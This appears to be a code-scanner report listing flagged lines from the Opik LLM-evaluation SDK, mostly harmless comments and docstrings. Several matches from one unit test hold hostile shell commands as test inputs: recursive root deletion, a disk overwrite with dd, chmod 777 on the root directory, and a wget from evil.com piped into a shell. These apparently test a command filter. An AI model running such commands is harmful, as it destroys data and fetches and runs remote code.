| MEDIUM | …ests/unit/evaluation/threads/test_evaluation_engine.py | 220 | # Create a mock result | COMMENT |
| MEDIUM | …ests/unit/evaluation/threads/test_evaluation_engine.py | 277 | # Create a mock conversation thread | COMMENT |
| MEDIUM⚡ | …ests/unit/evaluation/threads/test_evaluation_engine.py | 340 | # Create a mock thread | COMMENT |
| MEDIUM⚡ | …ests/unit/evaluation/threads/test_evaluation_engine.py | 343 | # Create a mock conversation thread | COMMENT |
| MEDIUM⚡ | …ests/unit/evaluation/threads/test_evaluation_engine.py | 351 | # Create a metric that raises an exception | COMMENT |
| MEDIUM | …/tests/unit/api_objects/dataset/test_dataset_client.py | 131 | # Create an updated version of the item | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 31 | # Create an LM instance to test isinstance check | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 318 | # Create a mock LM instance with history containing an actual provider and cost | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 364 | # Create a mock LM instance where provider matches (direct API, not routed) | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 404 | # Create a mock LM instance where response has no provider attribute | COMMENT |
| MEDIUM | …tests/library_integration/dspy/test_dspy_llm_router.py | 503 | # Create a mock LM instance where provider has different casing | COMMENT |
| MEDIUM | …python/tests/library_integration/harbor/test_harbor.py | 211 | # Create an event to pause execution so we can check trace name during execution | COMMENT |
| MEDIUM | …/tests/library_integration/langchain/test_langchain.py | 711 | # Create a chain: tool -> prompt -> llm | COMMENT |
| MEDIUM | …hon/tests/library_integration/bedrock/test_converse.py | 343 | # Define a simple weather tool | COMMENT |
| MEDIUM | …python/tests/library_integration/adk/test_adk_async.py | 291 | # Create a summary agent that will combine the parallel results | COMMENT |
| MEDIUM | …python/tests/library_integration/adk/test_adk_async.py | 313 | # Create a sequential agent that first runs parallel agents, then summarizes | STRING |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 50 | # Create a random start time within the last 24 hours | COMMENT |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 127 | # Create the trace message | COMMENT |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 173 | # Create a random start time within the last 24 hours | COMMENT |
| MEDIUM | sdks/python/tests/testlib/fake_message_factory.py | 245 | # Create the span message | COMMENT |
| MEDIUM⚡ | sdks/python/tests/e2e/test_failed_messages_replay.py | 138 | # Create the trace while online so the server record already exists. | COMMENT |
| MEDIUM | sdks/python/tests/e2e/verifiers.py | 725 | # Create a dict of actual scores for easy comparison | COMMENT |
| MEDIUM⚡ | sdks/python/tests/e2e/test_tracing.py | 1465 | # Create a unique metric name to avoid conflicts with other tests | COMMENT |
| MEDIUM⚡ | sdks/python/tests/e2e/test_tracing.py | 1469 | # Create a trace with two spans | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_tracing.py | 1397 | # Create a unique metric name to avoid conflicts with other tests | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 409 | # Create a text prompt | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 428 | # Create a chat prompt | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 494 | # Create a chat prompt | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 773 | # Create a playground chat prompt with the appropriate metadata | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_prompt.py | 839 | # Create a playground chat prompt with the appropriate metadata | COMMENT |
| 135 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | readme_PT_BR.md | 144 | # Habilitar guardrails com qualquer perfil | COMMENT |
| MEDIUM | readme_PT_BR.md | 220 | | Guardrails | Registra traces para validações do Guardrails AI | [Documentação](https: | CODE |
| MEDIUM | CHANGELOG.md | 33 | - The `context` field is now optional in the [Hallucination metric](https://www.comet.com/docs/opik/evaluation/metrics/o | CODE |
| MEDIUM⚡ | .pre-commit-config.yaml | 188 | # Guardrails backend (apps/opik-guardrails-backend) | COMMENT |
| MEDIUM | readme_RU.md | 145 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_RU.md | 220 | | Ограждения | Журнал трассировки проверок Guardrails AI | [Документация](https://www.comet.com/docs/opik/integrations/g | CODE |
| MEDIUM | readme_KO.md | 143 | # 모든 profile에서 guardrails 활성화 | COMMENT |
| MEDIUM | readme_KO.md | 217 | | **Guardrails** | Guardrails AI 검증 트레이스 | [문서](https://www.comet.com/docs/opik/int | CODE |
| MEDIUM | README.md | 49 | Opik (built by [Comet](https://www.comet.com?from=llm&utm_source=opik&utm_medium=github&utm_content=what_is_opik_link&ut | CODE |
| MEDIUM | README.md | 142 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | README.md | 218 | | Guardrails | Log traces for Guardrails AI validations | [Documentation](https://www.comet.co | CODE |
| MEDIUM | readme_CN.md | 217 | | **Guardrails** | 记录 Guardrails AI 验证的跟踪 | [文档](https://www.comet.com/docs/opik/integratio | CODE |
| MEDIUM | readme_AR.md | 145 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_AR.md | 220 | | الدرابزين | تسجيل التتبعات لعمليات التحقق من صحة Guardrails AI | [التوثيق](https://www.comet.com/docs/opik/integration | CODE |
| MEDIUM | readme_ES.md | 219 | | Barandillas | Seguimientos de registros para validaciones de Guardrails AI | [Documentación](https://www.comet.com/doc | CODE |
| MEDIUM | readme_JP.md | 219 | | **Guardrails** | Guardrails AI 検証のトレースを記録 | [ドキュメント](https://www.c | CODE |
| MEDIUM | readme_TR.md | 145 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_TR.md | 220 | | Korkuluklar | Guardrails AI doğrulamaları için günlük izlemeleri | [Belgeler](https://www.comet.com/docs/opik/integrat | CODE |
| MEDIUM | readme_HI.md | 145 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_HI.md | 220 | | रेलिंग | रेलिंग एआई सत्यापन के लिए लॉग ट्रेस | [दस्तावेज़ीकरण](https://www.comet.com/docs/opik/integrations/guardrails | CODE |
| MEDIUM | readme_FR.md | 145 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_FR.md | 220 | | Garde-corps | Traces de journaux pour les validations Guardrails AI | [Documentation](https://www.comet.com/docs/opik/ | CODE |
| MEDIUM | readme_DE.md | 146 | # Enable guardrails with any profile | COMMENT |
| MEDIUM | readme_DE.md | 222 | | Leitplanken | Protokollspuren für Guardrails AI-Validierungen | [Dokumentation](https://www.comet.com/docs/opik/integr | CODE |
| MEDIUM | opik.sh | 34 | # Add guardrails containers if enabled | COMMENT |
| MEDIUM | opik.sh | 200 | # Always add guardrails profile if enabled | COMMENT |
| MEDIUM | opik.sh | 620 | # Default: no guardrails | COMMENT |
| MEDIUM | opik.sh | 682 | # Check for guardrails flag | COMMENT |
| MEDIUM | …e_evaluators/agentic/test_suite_llm_judge_branching.py | 60 | # agentic. No explicit `scoring_tool_strategy=` — exercising the | COMMENT |
| MEDIUM | …t/evaluation/metrics/llm_judges/test_seed_parameter.py | 179 | # GEval calls generate_chat_completion multiple times (chain of thought + evaluation) | COMMENT |
| MEDIUM | …ests/unit/evaluation/models/test_litellm_chat_model.py | 338 | # Per-call temperature=0 (the agentic judge loop's hardcoded pin) | COMMENT |
| MEDIUM | …ts/unit/evaluation/models/test_anthropic_chat_model.py | 511 | # End-to-end: a typical agentic-loop history with one | COMMENT |
| MEDIUM | …/tests/library_integration/guardrails/requirements.txt | 1 | setuptools # required by guardrails hub | CODE |
| MEDIUM | …ests/library_integration/guardrails/test_guardrails.py | 36 | ) # Both the guardrails pass | CODE |
| MEDIUM⚡ | …ary_integration/langchain/test_langgraph_supervisor.py | 114 | # The supervisor/multi-agent graph produces three top-level spans: | COMMENT |
| MEDIUM | …integration/metrics_with_llm_judge/agentic/conftest.py | 36 | # Claude tier we run the agentic judge against. Haiku is cheaper but | COMMENT |
| MEDIUM | …integration/metrics_with_llm_judge/agentic/conftest.py | 37 | # on the agentic path (tools in the request, so `response_format` is | COMMENT |
| MEDIUM | …n/metrics_with_llm_judge/agentic/test_agentic_judge.py | 322 | # Direct evidence of the agentic loop engaged. We don't pin the | COMMENT |
| MEDIUM | sdks/python/tests/e2e/test_guardrails.py | 61 | # Check trace guardrails validations | COMMENT |
| MEDIUM | …ks/python/src/opik/llm_usage/openai_responses_usage.py | 84 | # and context window limits. | COMMENT |
| MEDIUM | …/python/src/opik/integrations/langchain/opik_tracer.py | 59 | # Constant for LangGraph ParentCommand (multi-agent control flow routing) | COMMENT |
| MEDIUM | …/python/src/opik/integrations/langchain/opik_tracer.py | 204 | # ParentCommand is not an error - it's multi-agent routing in LangGraph | COMMENT |
| MEDIUM | …/python/src/opik/integrations/langchain/opik_tracer.py | 696 | # ParentCommand is not an error - it's multi-agent routing in LangGraph | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/evaluator.py | 676 | # access to the full trace tree via the agentic tool loop. The emulator | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/evaluator.py | 696 | # exit deactivating it and starving the others' agentic judges). | COMMENT |
| MEDIUM | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 151 | # of its own scoring/metrics plumbing. The agentic judge has no business | COMMENT |
| MEDIUM | …rc/opik/evaluation/suite_evaluators/agentic/context.py | 261 | # direction is engine → agentic, not the reverse). | COMMENT |
| MEDIUM | …c/opik/evaluation/suite_evaluators/llm_judge/metric.py | 156 | >>> # Force the agentic tool loop whenever a trace context is supplied. | STRING |
| MEDIUM | …c/opik/evaluation/suite_evaluators/llm_judge/metric.py | 339 | # Import lazily so the agentic dependencies (tool registry, loop, | COMMENT |
| MEDIUM | …uation/suite_evaluators/llm_judge/strategy_selector.py | 58 | # Default headroom: reserve half the context window for the model's own | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/message_adapter.py | 32 | # `suite_evaluators/agentic/loop.py` for why this hasn't surfaced via | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/message_adapter.py | 33 | # the agentic judge (the loop pins `temperature=0`, which forces both | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/message_adapter.py | 229 | # agentic loop emits OpenAI-style values because that's the dominant | COMMENT |
| MEDIUM | …rc/opik/evaluation/models/anthropic/response_parser.py | 66 | # as a tool call so the agentic loop can execute it. Otherwise | COMMENT |
| MEDIUM | …ik/evaluation/models/anthropic/anthropic_chat_model.py | 237 | # Anthropic object form — the agentic loop emits the OpenAI | COMMENT |
| MEDIUM | …c/opik/evaluation/models/litellm/litellm_chat_model.py | 177 | # callers (e.g. the agentic judge) that pass `seed` for | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/engine/engine.py | 103 | # LLM-task path so the agentic judge can see the trace | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/engine/engine.py | 127 | # agentic context is built from it directly because the | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/engine/engine.py | 238 | # small window where the agentic judge sees a stale view. | COMMENT |
| MEDIUM | sdks/python/src/opik/evaluation/engine/engine.py | 344 | # Hand the in-memory TraceData to scoring so the agentic | COMMENT |
| 94 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | sdks/python/src/opik/opik_context.py | 224 | Provides a context manager to handle trace data within an execution context. This function sets up trace data | STRING |
| HIGH | sdks/python/src/opik/guardrails/guardrail.py | 86 | Validate text against all configured guardrails. Args: text: Text to validate Ret | STRING |
| HIGH | sdks/python/src/opik/decorator/base_track_decorator.py | 724 | Handles the creation and registration of a new start span and trace while respecting the tracing context based | STRING |
| HIGH | …age_processing/emulation/emulator_message_processor.py | 454 | Creates a trace model with the specified attributes. The method is abstract and must be implemented in | STRING |
| HIGH | …age_processing/emulation/emulator_message_processor.py | 512 | Abstract method to create a span model representing a span of a trace. This method is intended to facil | STRING |
| HIGH | …age_processing/emulation/emulator_message_processor.py | 555 | Creates a feedback score model with the specified parameters. The method is abstract and must be imple | STRING |
| HIGH | …ython/src/opik/message_processing/replay/db_manager.py | 720 | Converts a database message object to a corresponding application message object. This function maps a databas | STRING |
| HIGH | …rock/invoke_model/chunks_aggregator/format_detector.py | 90 | Get aggregator for the specified format. Args: format_name: Name of the format Returns: C | STRING |
| HIGH | sdks/python/src/opik/anonymizer/factory.py | 19 | Create an anonymizer with the specified rules. Args: anonymizer_rules: Anonymizer rules specification in va | STRING |
| HIGH | sdks/python/src/opik/evaluation/evaluator.py | 1435 | Resume an interrupted ``evaluate()`` run. Reads the resume state embedded in the existing experiment (dataset | STRING |
| HIGH | …on/src/opik/evaluation/metrics/heuristics/sentiment.py | 63 | Analyze the sentiment of the provided text. Args: output: The text to analyze for sentimen | STRING |
| HIGH | …/python/src/opik/evaluation/metrics/heuristics/bleu.py | 130 | Calculate sentence-level BLEU for one candidate vs. one or more references. Args: output: | STRING |
| HIGH | …/python/src/opik/evaluation/metrics/heuristics/bleu.py | 234 | Calculate corpus-level BLEU for multiple candidates. Args: output: A list of candidate str | STRING |
| HIGH | …python/src/opik/evaluation/metrics/heuristics/rouge.py | 77 | Compute the ROUGE score based on the given rouge_type between the output and reference strings. Args: | STRING |
| HIGH | …trics/llm_judges/structure_output_compliance/parser.py | 10 | Parses the LLM output for the StructuredOutputCompliance metric. Expected LLM output format: { | STRING |
| HIGH | …on/src/opik/evaluation/metrics/conversation/helpers.py | 52 | Extracts a list of conversation windows based on turns using a sliding window approach. This function divides a | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 195 | Provides a context manager for getting and managing the response from a model provider. Ensures that errors dur | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 226 | Asynchronous context manager for getting a response from a model provider. This function asynchronously intera | STRING |
| HIGH | sdks/python/src/opik/evaluation/models/base_model.py | 260 | Checks the output of a model and verifies that it is not None. This function ensures that the output returned | STRING |
| HIGH | …opik/evaluation/models/langchain/message_converters.py | 21 | Convert OpenAI-style chat messages to LangChain's primitives. Args: messages: Iterable of message dictionar | STRING |
| HIGH | sdks/python/src/opik/evaluation/threads/evaluator.py | 22 | Evaluate conversation threads using specified metrics. This function evaluates conversation threads from a project | STRING |
| HIGH | …n/src/opik/evaluation/samplers/base_dataset_sampler.py | 26 | Samples and filters a list of dataset items according to a specific implementation. Args: | STRING |
| HIGH | sdks/python/src/opik/api_objects/rest_helpers.py | 24 | Execute a REST API call with automatic retry on rate limit (429) errors. This function handles HTTP 429 rate l | STRING |
| HIGH | sdks/python/src/opik/api_objects/rest_helpers.py | 74 | Resolve a project name to its project ID. Args: rest_client: The REST API client instance. pro | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 969 | Search for threads in a given project based on specific criteria. Args: project_name: The name of t | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 1516 | Get an existing test suite by name. Retrieves the dataset and its version-level assertions and executi | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 1964 | Search for traces in the given project. Optionally, you can wait for at least a certain number of traces | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2074 | Search for spans in the given trace. This allows you to search spans based on the span input, output, m | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2313 | Creates a new text prompt with the given name and template. If a text prompt with the same name already | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2364 | Creates a new chat prompt with the given name and message templates. If a chat prompt with the same nam | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2418 | Retrieve a text prompt by name, optionally targeting a specific ``version``. This method only returns | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2463 | Retrieve a chat prompt by name, optionally targeting a specific ``version``. This method only returns | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2575 | Retrieve all text prompt versions history for a given prompt name. Parameters: name: The n | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2667 | Retrieve all chat prompt versions history for a given prompt name. Parameters: name: The n | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 2774 | Retrieve the latest prompt versions (both string and chat prompts) for the given search parameters. Pa | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 3027 | Get a traces annotation queue by its ID. Args: queue_id: The ID of the annotation queue. | STRING |
| HIGH | sdks/python/src/opik/api_objects/opik_client.py | 3045 | Get a threads annotation queue by its ID. Args: queue_id: The ID of the annotation queue. | STRING |
| HIGH | sdks/python/src/opik/api_objects/trace/trace_client.py | 288 | Update an existing trace with new information. This function sends an UpdateTraceMessage to the provided messag | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/validators.py | 38 | Resolve assertions shorthand and/or evaluators into a list of LLMJudge instances. Args: assertions: Li | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/dataset.py | 102 | Retrieve dataset items as a list of dictionaries. Args: nb_samples: Maximum number of item | STRING |
| HIGH | sdks/python/src/opik/api_objects/dataset/dataset.py | 884 | Get a read-only view of a specific dataset version. The returned DatasetVersion object allows reading | STRING |
| HIGH | …/src/opik/api_objects/dataset/test_suite/test_suite.py | 345 | Get a read-only view of a specific version. Args: version_name: The version name (e.g., 'v | STRING |
| HIGH | …c/opik/api_objects/annotation_queue/rest_operations.py | 168 | Fetch a trace annotation queue by its ID. Args: rest_client: The REST API client. queue_id: Th | STRING |
| HIGH | …c/opik/api_objects/annotation_queue/rest_operations.py | 194 | Fetch a thread annotation queue by its ID. Args: rest_client: The REST API client. queue_id: T | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/client.py | 77 | Creates the prompt detail for the given prompt name and template. Parameters: - name: The name | STRING |
| HIGH | sdks/python/src/opik/api_objects/prompt/client.py | 355 | Retrieve all the prompt details for a given prompt name. Parameters: name: The name of the | STRING |
| HIGH | …/python/src/opik/api_objects/threads/threads_client.py | 44 | Search for threads in a given project based on specific criteria. This method retrieves a list of TraceThread o | STRING |
| HIGH | sdks/python/src/opik/configurator/opik_rest_helpers.py | 79 | Verifies whether the provided workspace name exists in the user's cloud Opik account. Args: workspace | STRING |
| HIGH | …r_algorithms/metaprompt_context7_remote_mcp_example.py | 71 | Compute Levenshtein similarity between reference_answer and model output. Args: dataset_item: Dataset row d | STRING |
| HIGH | …ks/opik_optimizer/src/opik_optimizer/base_optimizer.py | 247 | Get a prompt template, optionally formatted with kwargs. Args: key: The prompt key to retrieve | STRING |
| HIGH | …ks/opik_optimizer/src/opik_optimizer/base_optimizer.py | 282 | Get the original default prompt (before overrides). Args: key: The prompt key to retrieve | STRING |
| HIGH | …izer/src/opik_optimizer/metrics/task_span/span_cost.py | 200 | Calculate the total cost based on the span's token usage, recursively traversing the span tree. Args: | STRING |
| HIGH | …orithms/meta_prompt_optimizer/meta_prompt_optimizer.py | 38 | Meta-Prompt Optimizer that uses LLM-based meta-reasoning to iteratively improve prompts. This optimizer uses a | STRING |
| HIGH | …hms/hierarchical_reflective_optimizer/rootcause_ops.py | 259 | Perform hierarchical root cause analysis on evaluation results asynchronously. This method: 1. | STRING |
| HIGH | …shot_bayesian_optimizer/few_shot_bayesian_optimizer.py | 57 | Few-Shot Bayesian Optimizer that adds few-shot examples to prompts using Bayesian optimization. This algorithm | STRING |
| HIGH | …shot_bayesian_optimizer/few_shot_bayesian_optimizer.py | 305 | Generate a few-shot prompt template that can be used to insert examples into the prompt. Args: | STRING |
| HIGH | …shot_bayesian_optimizer/few_shot_bayesian_optimizer.py | 936 | Build the few-shot examples string from demo examples. Args: demo_examples: List of exampl | STRING |
| HIGH | …shot_bayesian_optimizer/few_shot_bayesian_optimizer.py | 976 | Reconstruct the prompts dict with few-shot examples filled in. Args: prompts_with_placehol | STRING |
| HIGH | …ik_optimizer/algorithms/parameter_optimizer/helpers.py | 18 | Build base model kwargs from optimizer's model parameters. Removes 'n' parameter since parameter optimization | STRING |
| HIGH | …k_optimizer/src/opik_optimizer/utils/prompt_library.py | 106 | Get a prompt, optionally formatted with kwargs. Args: key: The prompt key to retrieve * | STRING |
| 14 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 195 | "echo hello && sudo rm -rf /", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 200 | "pip install foo && sudo chmod 777 /", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 203 | "echo clean && dd if=/dev/urandom of=disk.img", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 205 | "echo ok && rm -r -f /", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 207 | "echo x && wget http://evil.com | zsh", | CODE |
| HIGH⚡ | sdks/python/tests/unit/runner/test_bridge_handlers.py | 208 | "echo safe && nohup python app.py &", | CODE |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 858 | # ``apply_dataset_item_changes(base_version=null, override=true)`` | COMMENT |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 916 | # Two apply_dataset_item_changes calls: v1 (base_version=null, | COMMENT |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 1346 | # base_version=null, override=true)`` carrying the suite config — | COMMENT |
| HIGH | …/tests/unit/cli/test_migrate_dataset_version_replay.py | 1248 | or ``apply_dataset_item_changes(base_version=null, override=true)`` (when | STRING |
| HIGH⚡ | …/evaluation/metrics/llm_judges/test_parsing_helpers.py | 17 | '{"verdict":"yes","reason":null}' | CODE |
| HIGH⚡ | …/evaluation/metrics/llm_judges/test_parsing_helpers.py | 21 | content = 'Here you go: {"verdict":"yes","reason":null} done.' | CODE |
| HIGH⚡ | …/evaluation/metrics/llm_judges/test_parsing_helpers.py | 32 | content = '{"verdict":"yes","reason":null}\n{"verdict":"yes","reason":null}' | CODE |
| HIGH | …ts/unit/evaluation/models/test_anthropic_chat_model.py | 460 | a malformed model output (top-level array, scalar, null, or | STRING |
| HIGH | sdks/python/src/opik/runner/bridge_auth.py | 10 | """HMAC-SHA256(bridge_key, type || args_json) → base64.""" | STRING |
| HIGH | …ython/src/opik/message_processing/replay/db_manager.py | 5 | to re-inject messages). The manager tracks three states — undefined, initialized, closed, | STRING |
| HIGH | sdks/python/src/opik/cli/migrate/checkpoint.py | 292 | raise ValueError(f"{field_name} must be a string or null, got {value!r}") | CODE |
| HIGH | sdks/python/src/opik/cli/migrate/_resolver.py | 126 | null) or when the project lookup raises a recoverable ``ApiError`` | STRING |
| HIGH | …python/src/opik/cli/migrate/datasets/version_replay.py | 507 | """Create v1 via ``apply_dataset_item_changes(base_version=null, override=true)``. | STRING |
| HIGH | sdks/python/src/opik/cli/migrate/datasets/executor.py | 210 | ``apply_dataset_item_changes(base_version=null, override=true)``) so | STRING |
| HIGH | …ation/suite_evaluators/agentic/tools/path_evaluator.py | 431 | f"Expected literal (string, integer, true/false/null) at position " | STRING |
| HIGH | …luation/suite_evaluators/agentic/compression/tokens.py | 3 | Matches the backend (`String.length() / 4`) so the same trace produces | STRING |
| HIGH | …luation/suite_evaluators/agentic/compression/tokens.py | 9 | Unicode code points, Java `String.length()` counts UTF-16 code units. | STRING |
| HIGH | …rc/opik/evaluation/models/anthropic/message_adapter.py | 62 | - Anything else (top-level list/scalar/null, malformed JSON, | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 512 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 885 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 888 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 2233 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 2630 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/client.py | 2633 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 621 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 1083 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 1086 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 2829 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 3291 | If null, project_id must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/traces/raw_client.py | 3294 | If null, project_name must be provided | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/span_write.py | 18 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/guardrail_write.py | 17 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/trace.py | 22 | If null, the default project is used | STRING |
| HIGH | …src/opik/rest_api/types/experiment_item_bulk_upload.py | 20 | Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace). If nu | STRING |
| HIGH | …est_api/types/trace_experiment_item_bulk_write_view.py | 21 | If null, the default project is used | STRING |
| HIGH | …src/opik/rest_api/types/assertion_result_batch_item.py | 15 | If null, the default project is used | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 13 | If null, dataset_id must be provided | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 18 | If null, dataset_name must be provided | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 34 | Optional batch group ID to group multiple batches into a single dataset version. If null, mutates the latest version | STRING |
| HIGH | …s/python/src/opik/rest_api/types/dataset_item_batch.py | 39 | Optional. Dataset to read carry-forward rows from when materializing the new version. Required together with copy_fr | STRING |
| HIGH | …pik/rest_api/types/feedback_score_batch_item_thread.py | 13 | If null, the default project is used | STRING |
| HIGH | …n/src/opik/rest_api/types/feedback_score_batch_item.py | 13 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/guardrail.py | 18 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/span_public.py | 20 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/span.py | 20 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/types/trace_write.py | 17 | If null, the default project is used | STRING |
| HIGH | …ik/rest_api/types/complete_multipart_upload_request.py | 15 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 380 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/client.py | 1396 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/raw_client.py | 441 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/spans/raw_client.py | 1728 | If null, the default project is used | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/client.py | 437 | Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/client.py | 1257 | Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace | STRING |
| HIGH | sdks/python/src/opik/rest_api/experiments/raw_client.py | 545 | Project for traces auto-created from items that provide evaluate_task_result (i.e. without an explicit trace | STRING |
| 45 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …tests/unit/runner/bridge_handlers/test_search_files.py | 40 | def _setup_files(self, tmp_path: Path) -> None: | CODE |
| LOW | sdks/python/tests/testlib/__init__.py | 14 | __all__ = [ | CODE |
| LOW | sdks/python/src/_opik/__init__.py | 14 | __all__ = ["BaseMetric", "ScoreResult"] | CODE |
| LOW | sdks/python/src/opik/config.py | 520 | def update_session_config(key: str, value: Any) -> None: | CODE |
| LOW | sdks/python/src/opik/opik_context.py | 273 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/context_storage.py | 159 | def set_trace_data(self, trace: Optional[trace.TraceData]) -> None: | CODE |
| LOW | sdks/python/src/opik/__init__.py | 55 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/tracing_runtime_config.py | 13 | def set_tracing_active(self, active: bool) -> None: | CODE |
| LOW⚡ | sdks/python/src/opik/tracing_runtime_config.py | 39 | def set_tracing_active(active: bool) -> None: | CODE |
| LOW | sdks/python/src/opik/error_tracking/__init__.py | 7 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/llm_usage/__init__.py | 9 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/guardrails/__init__.py | 4 | __all__ = ["Guardrail", "Topic", "PII"] | CODE |
| LOW | sdks/python/src/opik/guardrails/guards/__init__.py | 5 | __all__ = ["Guard", "Topic", "PII"] | CODE |
| LOW | …/python/src/opik/decorator/context_manager/__init__.py | 5 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/decorator/opik_args/__init__.py | 8 | __all__ = [ | CODE |
| LOW | sdks/python/src/opik/runner/registry.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | sdks/python/src/opik/runner/tui.py | 279 | def _update_live(self) -> None: | CODE |
| LOW | …python/src/opik/runner/bridge_handlers/syntax_check.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | sdks/python/src/opik/simulation/__init__.py | 6 | __all__ = ["SimulatedUser", "run_simulation"] | CODE |
| LOW | …age_processing/emulation/emulator_message_processor.py | 123 | def set_active(self, active: bool) -> None: | CODE |
| LOW | …on/src/opik/message_processing/permissions/__init__.py | 3 | __all__ = [ | CODE |
| LOW | …ython/src/opik/message_processing/replay/db_manager.py | 368 | def update_message(self, message_id: int, status: MessageStatus) -> None: | CODE |
